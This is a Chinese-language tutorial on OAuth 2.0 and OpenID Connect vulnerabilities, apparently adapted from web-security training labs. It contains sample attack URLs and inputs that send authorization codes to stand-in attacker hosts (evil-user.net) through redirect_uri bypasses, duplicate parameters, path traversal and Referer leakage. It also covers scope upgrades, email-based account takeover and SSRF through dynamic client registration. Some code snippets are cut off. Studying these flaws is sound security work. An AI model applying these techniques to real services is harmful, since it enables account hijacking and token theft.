OAuth 是一种常用的授权框架,它使网站和 Web 应用程序能够请求对另一个应用程序上的用户帐户进行有限访问。至关重要的是,OAuth 允许用户授予此访问权限,而无需向请求应用程序公开其登录凭据。这意味着用户可以微调他们想要共享的数据,而不必将其帐户的完全控制权移交给第三方。
基本 OAuth 流程广泛用于集成需要从用户帐户访问某些数据的第三方功能。例如,应用程序可能使用 OAuth 请求访问您的电子邮件联系人列表,以便它可以建议与之联系的人员。然而,同样的机制也用于提供第三方身份验证服务,允许用户使用他们在不同网站上拥有的帐户登录。
尽管 OAuth 2.0 是当前标准,但一些网站仍然使用旧版本 1a。OAuth 2.0 是从头开始编写的,而不是直接从 OAuth 1.0 开发的。结果,两者非常不同。请注意,这些材料中的术语“OAuth”专指 OAuth 2.0。
OAuth 2.0 最初是作为一种在应用程序之间共享特定数据访问权限的方式而开发的。它的工作原理是定义三个不同方(即客户端应用程序、资源所有者和 OAuth 服务提供商)之间的一系列交互。
OAuth 2.0 最初是作为一种在应用程序之间共享特定数据访问权限的方式而开发的。它的工作原理是定义三个不同方(即客户端应用程序、资源所有者和 OAuth 服务提供商)之间的一系列交互。
实际的 OAuth 流程可以通过多种不同的方式来实现。这些被称为 OAuth“流程”或“授权类型”。在本主题中,我们将重点关注“授权代码”和“隐式”授权类型,因为这些类型是迄今为止最常见的。一般来说,这两种资助类型都涉及以下阶段:
尽管最初并非用于此目的,但 OAuth 已经演变成了一种认证用户的手段。
例如,您可能熟悉许多网站提供使用您现有的社交媒体账户登录而不必注册该网站的选项。
每当您看到此选项时,很有可能它是基于 OAuth 2.0 构建的。
对于OAuth认证机制,基本的OAuth流程基本上保持不变;
主要的区别在于客户端应用程序如何使用接收到的数据。
从最终用户的角度来看,OAuth认证的结果在很大程度上类似于基于SAML的单点登录(SSO)。在这些材料中,我们将专门关注这种SSO使用情况下的漏洞。
OAuth身份验证通常实现如下:
/userinfo
)请求此数据。OAuth 身份验证漏洞的出现部分是因为 OAuth 规范的设计相对模糊且灵活。
尽管每种授权类型的基本功能都需要一些强制性组件,但绝大多数实现都是完全可选的。这包括保护用户数据安全所需的许多配置设置。简而言之,不良做法有很多机会潜入。
OAuth 的其他关键问题之一是普遍缺乏内置安全功能。
安全性几乎完全依赖于开发人员使用正确的配置选项组合并在顶部实施自己的附加安全措施,例如强大的输入验证。正如您可能已经了解到的那样,需要了解的内容有很多,如果您对 OAuth 没有经验,那么很容易出错。
根据授权类型,高度敏感的数据也会通过浏览器发送,这为攻击者提供了各种拦截数据的机会。
识别应用程序何时使用 OAuth 身份验证相对简单。如果您看到使用您的帐户从其他网站登录的选项,则强烈表明正在使用 OAuth。
识别 OAuth 身份验证的最可靠方法是通过 Burp 代理您的流量,并在您使用此登录选项时检查相应的 HTTP 消息。无论使用哪种 OAuth 授权类型,流程的第一个请求总会是许多专门用于 OAuth 的查询参数的端点 -/authorization
特别要注意client_id
、redirect_uri
和response_type
参数。例如,授权请求通常如下所示:
1 | GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1 |
对正在使用的 OAuth 服务进行一些基本的侦察可以为您在识别漏洞方面指明正确的方向。
不用说,您应该研究构成 OAuth 流程的各种 HTTP 交互
如果使用外部 OAuth 服务,您应该能够从授权请求发送到的主机名识别特定的提供商。
由于这些服务提供公共 API,因此通常会有详细的文档可以告诉您各种有用的信息,例如端点的确切名称以及正在使用的配置选项。
一旦您知道授权服务器的主机名,您应该始终尝试GET
向以下标准端点发送请求:
/.well-known/oauth-authorization-server
/.well-known/openid-configuration
这些通常会返回一个包含关键信息的 JSON 配置文件,例如可能支持的其他功能的详细信息。有时,这会提示您有关文档中可能未提及的更广泛的攻击面和支持的功能。
客户端应用程序的 OAuth 实现以及 OAuth 服务本身的配置中可能会出现漏洞
客户端应用程序通常会使用信誉良好、久经沙场的 OAuth 服务,该服务可以很好地防御众所周知的漏洞。然而,他们自己的实施方式可能不太安全。
正如我们已经提到的,OAuth 规范的定义相对宽松。对于客户端应用程序的实现来说尤其如此。OAuth 流程中有很多移动部分,每种授权类型都有许多可选参数和配置设置,这意味着错误配置的范围很大。
由于通过浏览器发送访问令牌带来的危险,隐式授权类型主要建议用于单页面应用程序。但是,由于其相对简单,它也经常用于经典的客户端-服务器Web应用程序中。
在这个流程中,访问令牌通过用户的浏览器作为 URL 片段从 OAuth 服务发送到客户端应用程序。然后客户端应用程序使用 JavaScript 访问令牌。问题在于,如果应用程序希望在用户关闭页面后保持会话,它需要将当前用户数据(通常是用户 ID 和访问令牌)存储在某个地方。
为了解决这个问题,客户端应用程序通常会在POST请求中提交这些数据,然后分配一个会话cookie给用户,有效地将其登录。
这个请求大致相当于作为经典基于密码的登录的一部分发送的表单提交请求。然而,在这种情况下,服务器没有任何密钥或密码与提交的数据进行比较,这意味着它是被隐式信任的。
在隐式流程中,这个POST请求通过浏览器暴露给攻击者。因此,如果客户端应用程序没有正确检查访问令牌是否与请求中的其他数据匹配,则此行为可能导致严重漏洞。在这种情况下,攻击者可以简单地更改发送到服务器的参数以冒充任何用户。
尽管 OAuth 流程的许多组件是可选的,但除非有重要原因不使用它们,否则强烈建议使用其中一些。其中一个示例是state
参数。
理想情况下,该state
参数应包含一个不可猜测的值,例如首次启动 OAuth 流程时与用户会话相关的内容的哈希值。然后,该值作为客户端应用程序的 CSRF 令牌的形式在客户端应用程序和 OAuth 服务之间来回传递。
因此,如果您注意到授权请求没有发送参数state
,那么从攻击者的角度来看,这非常有趣。这可能意味着他们可以在欺骗用户浏览器完成 OAuth 流程之前自行启动 OAuth 流程,类似于传统的CSRF 攻击。根据客户端应用程序使用 OAuth 的方式,这可能会产生严重后果。
考虑一个网站,允许用户使用传统的基于密码的机制或使用OAuth将其帐户链接到社交媒体配置文件来登录。在这种情况下,如果应用程序未能使用state
参数,则攻击者可能会通过将其绑定到自己的社交媒体帐户来劫持受害用户在客户端应用程序上的帐户。
请注意,如果网站仅允许用户通过OAuth登录,则状态参数可能不那么关键。然而,不使用状态参数仍然可能会导致攻击者构造登录CSRF攻击,从而诱使用户登录到攻击者的帐户。
也许最臭名昭著的基于OAuth的漏洞是,当OAuth服务本身的配置使得攻击者能够窃取与其他用户账户关联的授权代码或访问令牌。
通过窃取有效的代码或令牌,攻击者可能能够访问受害者的数据。最终,这可能完全破坏他们的账户——攻击者可能会在注册了该OAuth服务的任何客户端应用程序上以受害者用户身份登录。
通过redirect_uri劫持来获取token和code
根据授权类型,通过受害者的浏览器发送代码或令牌到授权请求中redirect_uri参数指定的的/callback
端点。
如果OAuth服务未能正确验证redirect_uri
参数指定的URI,则攻击者可能能够构造类似CSRF的攻击,欺骗受害者的浏览器发起OAuth流程,将代码或令牌发送到攻击者控制的redirect_uri。
在授权码流程中,攻击者可以在其被使用之前窃取受害者的代码。然后,他们可以将此代码发送到客户端应用程序的合法/callback
端点(原始redirect_uri
参数指定的uri)以访问用户的帐户。
在这种情况下,攻击者甚至不需要知道客户端密钥或生成的访问令牌。只要受害者与OAuth服务有一个有效的会话,客户端应用程序就会在登录受害者的帐户之前代表攻击者完成代码/令牌交换。
请注意,使用状态或一次性保护并不能完全防止这些攻击,因为攻击者可以从自己的浏览器中生成新值。
更安全的授权服务器在接受client发送的code时也需要发送一个redirect_uri参数。
服务器可以检查这个参数是否与初始授权请求中收到的参数匹配,如果不匹配,则拒绝交换。
由于这是通过安全的后端通道进行的服务器对服务器请求,攻击者无法控制这个第二个redirect_uri参数。
由于先前实验中出现的攻击类型,最佳实践是在注册 OAuth 服务时,客户端应用程序提供其真实回调 URI 的白名单。这样,当 OAuth 服务接收到新请求时,它可以根据此白名单验证 redirect_uri 参数。在这种情况下,提供外部 URI 可能会导致错误。但是,仍然可能有方法绕过此验证。
在审核 OAuth 流程时,您应该尝试使用 redirect_uri 参数进行实验,以了解它是如何被验证的。例如:
一些实现只检查字符串是否以正确的字符序列(即批准的域)开头,从而允许一系列子目录。您应该尝试删除或添加任意路径、查询参数和片段,看看可以在不触发错误的情况下更改哪些内容。
如果您可以向默认的redirect_uri参数附加额外的值,您可能能够利用OAuth服务的不同组件对URI解析之间的差异。例如,您可以尝试以下技术:
1 | https://default-host.com &@foo.evil-user.net#@bar.evil-user.net/ |
就像绕ssrf的防御一样
如果您不熟悉这些技术,我们建议您阅读有关如何规避常见 SSRF 防御和CORS的内容
您偶尔可能会遇到服务器端参数污染(HPP)漏洞。为了以防万一,您应该尝试提交重复的redirect_uri
参数,如下所示:
1 | https://oauth-authorization-server.com/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.net |
重要的是要注意,您不应该将测试限制在孤立地探测redirect_uri参数上。
在实际应用中,您经常需要尝试对多个参数进行不同组合的更改。
有时更改一个参数可能会影响其他参数的验证。例如,将response_mode从query
更改为fragment
有时可以完全改变redirect_uri的解析,从而允许您提交本来会被阻止的URI。
同样,如果您注意到支持web_message响应模式,这通常允许更广泛的子域名在redirect_uri中使用。
针对更强大的目标,您可能会发现无论您尝试什么,都无法成功提交外部域作为redirect_uri
. 然而,这并不意味着是时候放弃了。
到这个阶段,你应该对哪些 URI 部分可以篡改有相对好的了解。
现在的关键是利用这个知识来尝试访问客户端应用程序内更广泛的攻击面。换句话说,试着弄清楚你是否可以更改 redirect_uri 参数来指向白名单域上的任何其他页面。
尝试找到可以成功访问不同子域或路径的方法。例如,默认 URI 通常位于 OAuth 特定路径上,例如/oauth/callback
,它不太可能有任何有趣的子目录。但是,您可以使用目录遍历技巧来提供域上的任意路径。像这样的东西:
1 | https://client-app.com/oauth/callback/../../example/path |
可能在后端被解释为:
1 | https://client-app.com/example/path |
一旦您确定可以将哪些其他页面设置为重定向 URI,您应该对它们进行审核,以寻找可能用于泄露代码或令牌的其他漏洞。
对于授权码流程,您需要找到一个可以让您访问查询参数的漏洞,而对于简化授权类型,您需要提取 URL 片段。
其中最有用的漏洞之一是开放重定向。您可以将其用作代理,将受害者以及他们的代码或令牌转发到攻击者控制的域,您可以在其中托管任何恶意脚本。
请注意,对于隐式授权类型,窃取访问令牌不仅可以让您登录到客户端应用程序上的受害者帐户。由于整个隐式流程都是通过浏览器进行的,您还可以使用令牌向OAuth服务的资源服务器发出自己的API调用。这可能使您能够获取敏感用户数据,这些数据在客户端应用程序的Web UI中无法正常访问。
除了开放式重定向之外,您还应该寻找任何其他漏洞,以允许您提取代码或令牌并将其发送到外部域。一些很好的例子包括:
HTTPOnly
属性通常用于会话 cookie,攻击者通常也无法使用 XSS 直接访问它们。但是,通过窃取 OAuth 代码或令牌,攻击者可以在自己的浏览器中访问用户的帐户。这使他们有更多时间探索用户的数据并执行有害操作,从而显着增加了 XSS 漏洞的严重程度。redirect_uri
参数指向可以注入自己的 HTML 内容的页面,则可能可以通过标头Referer
泄漏来泄露code。例如,考虑以下img
元素:<img src="evil-user.net">
。当尝试获取此图像时,某些浏览器(例如 Firefox)将在Referer
请求标头中发送完整的 URL,包括查询字符串。在任何OAuth流程中,用户必须根据授权请求中定义的范围批准所请求的访问。生成的令牌允许客户端应用程序仅访问用户批准的范围。但在某些情况下,由于OAuth服务的缺陷验证,攻击者可能会将访问令牌(无论是被盗还是使用恶意客户端应用程序获得的)升级为具有额外权限的令牌。执行此操作的过程取决于授权类型。
使用授权码授权类型,用户的数据通过安全的服务器对服务器通信请求和发送,第三方攻击者通常无法直接操纵。
然而,通过向OAuth服务注册自己的客户端应用程序,仍然有可能实现相同的结果。
例如,假设攻击者的恶意客户端应用程序最初使用openid email
范围请求访问用户的电子邮件地址。在用户批准此请求后,恶意客户端应用程序将接收一个授权码。
由于攻击者控制他们的客户端应用程序,他们可以向请求token的数据包中添加另一个scope
参数,其中包含附加的profile
范围。
eg:
1 | POST /token |
如果服务器没有根据初始授权请求的范围对其进行验证,有时会使用新的范围生成访问令牌并将其发送给攻击者的客户端应用程序:
1 | { |
攻击者可以使用他们的应用程序进行必要的 API 调用来访问用户的个人资料数据。
对于隐式授权类型,访问令牌通过浏览器发送,这意味着攻击者可以窃取与无辜客户端应用程序相关联的令牌并直接使用它们。
一旦他们窃取了访问令牌,他们可以通过手动添加新的scope
参数来向OAuth服务的/userinfo
端点发送正常的基于浏览器的请求。
理想情况下,OAuth 服务应该验证此scope
的值与生成令牌时使用的scope
的值是否相同,但并非总是如此。只要调整后的权限不超过先前授予此客户端应用程序的访问级别,攻击者就可能访问其他数据,而无需进一步获得用户的批准。
通过 OAuth 对用户进行身份验证时,客户端应用程序会假定 OAuth 提供者存储的信息是正确的。这可能是一个危险的假设。
一些提供OAuth服务的网站允许用户注册账户时不验证所有详细信息,包括有时候不验证他们的电子邮件地址。
攻击者可以利用这一点,使用与目标用户相同的详细信息(如已知的电子邮件地址)在OAuth提供者那里注册账户。
客户端应用程序可能会允许攻击者通过此欺诈账户在OAuth提供者处以受害者身份登录。
目标用户在客户端注册了账户,而在第三方(即oauth服务提供者)没有注册账户的情况下,如果客户端应用程序不会验证从oauth认证的用户是否绑定了当前客户端应用程序的账户,那么就可以通过在oauth处创建一个和客户端应用程序上目标账户拥有一样邮箱的账户,然后通过oauth登录,来在客户端应用程序登录目标账户
当用于身份验证时,OAuth 通常会使用 OpenID Connect 层进行扩展,该层提供了一些与识别和验证用户相关的附加功能。
OpenID Connect 扩展了 OAuth 协议,以提供位于基本 OAuth 实现之上的专用身份和身份验证层。它添加了一些简单的功能,可以更好地支持 OAuth 的身份验证用例。
OAuth 最初在设计时并未考虑身份验证;它旨在成为在应用程序之间委派特定资源授权的一种方式。但是,许多网站开始自定义 OAuth 以用作身份验证机制。
为了实现这一点,他们通常请求对一些基本用户数据的读取访问权限,如果他们被授予此访问权限,则假定用户在 OAuth 提供程序方面对自己进行身份验证。
这些普通的OAuth身份验证机制远非理想。首先,客户端应用程序无法知道何时、何地或如何对用户进行身份验证。
由于这些实现中的每一个都是某种自定义解决方法,因此也没有为此目的请求用户数据的标准方法。
若要正确支持 OAuth,客户端应用程序必须为每个提供程序配置单独的 OAuth 机制,每个提供程序具有不同的终结点、唯一的作用域集等。
OpenID Connect通过添加标准化的、与身份相关的功能来解决了很多这些问题,使通过OAuth的身份验证以更可靠和统一的方式工作。
OpenID 将像插件一样完整地连接到正常的 OAuth 流中。从客户端应用程序的角度来看,主要区别在于,对于所有提供程序,还有一组额外的标准化作用域scope
,以及一个额外的响应类型:id_token
OpenID Connect 的角色与标准 OAuth 的角色基本相同。主要区别在于规范使用的术语略有不同
Relying party- 请求对用户进行身份验证的应用程序。这是 OAuth 客户端应用程序的同义词
End user - 正在进行身份验证的用户。这是 OAuth 资源所有者的同义词
OpenID provider- 配置为支持 OpenID 连接的 OAuth 服务
术语“claims”是指表示有关资源服务器上的用户的信息的键值对。例如"family_name":"Montoya"
在基本OAuth中,每个提供程序的作用域都是唯一的。与其不同的是,所有OpenID Connect服务都使用相同的范围集
为了使用 OpenID Connect,客户端应用程序必须在授权请求中指定范围。然后,它们可以包括一个或多个其他标准作用域:
profile
email
address
phone
每个作用域对应于对用户声明的子集的读取访问权限,这些声明在OpenID规范中定义。例如,请求 openid profile
作用域将授予客户端应用程序读取访问一系列与用户身份有关的声明,例如 family_name、given_name、birth_date 等等。
OpenID Connect 新增了一个id_token
响应类型
这将返回使用 JSON Web 签名 (JWS) 签名的 JSON Web 令牌 (JWT)。
JWT 有效负载包含基于最初请求的范围的声明列表。
它还包含有关 OAuth 服务上次对用户进行身份验证的方式和时间的信息。客户端应用程序可以使用它来确定用户是否已通过充分身份验证。
使用id_token
的主要好处是减少了需要在客户端应用程序和 OAuth 服务之间发送的请求数,这可以提供更好的整体性能。
在用户对自己进行身份验证后,包含此数据的 ID 令牌将立即发送到客户端应用程序,而不必获取访问令牌,然后单独请求用户数据。
与基本 OAuth 中发生的那样简单地依赖受信任通道不同,ID 令牌中传输的数据的完整性基于 JWT 加密签名。因此,使用 ID 令牌可能有助于防止某些中间人攻击。但是,鉴于用于签名验证的加密密钥通过同一网络通道(通常公开在 /.well-known/jwks.json
)传输,一些攻击仍然是可能的。
请注意,OAuth 支持多种响应类型,因此客户端应用程序发送同时具有基本 OAuth 响应类型和 OpenID Connect 响应类型的授权请求是完全可以接受的:
1 | response_type=id_token token |
在这种情况下,ID 令牌和代码或访问令牌将同时发送到客户端应用程序
如果客户端应用程序正在使用 OpenID 连接,则从授权请求中应该可以明显看出这一点。最万无一失的检查方法是检查scope
参数中是否有openid
即使登录过程最初看起来没有使用 OpenID Connect,仍然值得检查 OAuth 服务是否支持它。您可以简单地尝试添加openid
范围或将响应类型更改为id_token
,并观察这是否会导致错误。
与基本的OAuth一样,查看OAuth提供程序的文档以查看是否有有关其OpenID Connect支持的任何有用信息也是一个好主意。您还可以从标准端点/.well-known/openid-configuration
访问配置文件。
OpenID Connect的规范比基本OAuth的规范严格得多,这意味着具有明显漏洞的古怪实现的可能性通常较小。也就是说,由于它只是位于 OAuth 之上的一层,客户端应用程序或 OAuth 服务可能仍然容易受到我们之前看到的一些基于 OAuth 的攻击
OpenID 规范概述了允许客户端应用程序向 OpenID 提供程序注册的标准化方法。如果支持动态客户端注册,则客户端应用程序可以通过向专用端点/registration
发送POST
请求来注册自身。
此终结点的名称通常在配置文件和文档中提供。
在请求正文中,客户端应用程序以 JSON 格式提交有关自身的关键信息。例如,通常需要包含一系列列入白名单的重定向 URI。它还可以提交一系列其他信息,例如要公开的端点的名称、应用程序的名称等。
典型的注册请求可能如下所示:
1 | POST /openid/register HTTP/1.1 |
OpenID 提供程序应要求客户端应用程序对自身进行身份验证。在上面的示例中,他们使用的是HTTP头中的Authorization进行的身份验证
但是,某些提供程序将允许动态客户端注册,而无需任何身份验证,这使攻击者能够注册自己的恶意客户端应用程序。这可能会产生各种后果,具体取决于如何使用这些攻击者可控制属性的值。
其中一些属性可以作为 URI 提供。如果 OpenID 提供程序访问其中任何一个,则可能会导致二阶 SSRF 漏洞,除非采取额外的安全措施。
比如说logo_uri
到目前为止,我们已经看过了通过查询字符串提交授权请求所需参数的标准方式,例如
1 | /auth?client_id=r39qmmzdtfrcbu5h0eb1f&redirect_uri=https://0a560045039dc84c809cdf89007900dc.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email |
一些 OpenID 提供者提供了将这些参数作为 JSON Web Token(JWT)传递的选项(Pushed Authorization Requests)
。
即一个请求对象,请求参数将作为声明添加到请求对象中。根据前面的 URL 编码查询字符串示例,请求对象将如下所示。
1 | { |
然后将他们编码为jwt后,在请求授权的参数中,添加上request
参数,来使用这个请求对象
如:
1 | https://idsvr.example.com/oauth/v2/oauth-authorize? |
如果支持此功能,还可以发送一个指向包含其余 OAuth 参数及其值的 JSON Web Token 的单个request_uri
参数。根据 OAuth 服务的配置,此 参数是另一个潜在的 SSRF 向量。也就是引用
当请求对象由于许多声明而非常大时,按引用选项很有用。对授权请求的引用可以由客户端和授权服务器都信任的第三方服务处理。这里的request_uri
是用来引用一个jwt的值的,访问他,获得一个jwt值
如:
1 | https://idsvr.example.com/oauth/v2/oauth-authorize? |
您还可以使用此功能绕过这些参数值的验证。某些服务器可能会有效地验证授权请求中的查询字符串,但可能无法将相同的验证用于于 JWT 中的参数,包括redirect_uri
。所以可以用来绕过
要检查是否支持此选项,您应该在配置文件和文档中查找该选项。或者,您可以尝试添加参数以查看它是否有效。您会发现某些服务器支持此功能,即使它们没有在其文档中明确提及此功能。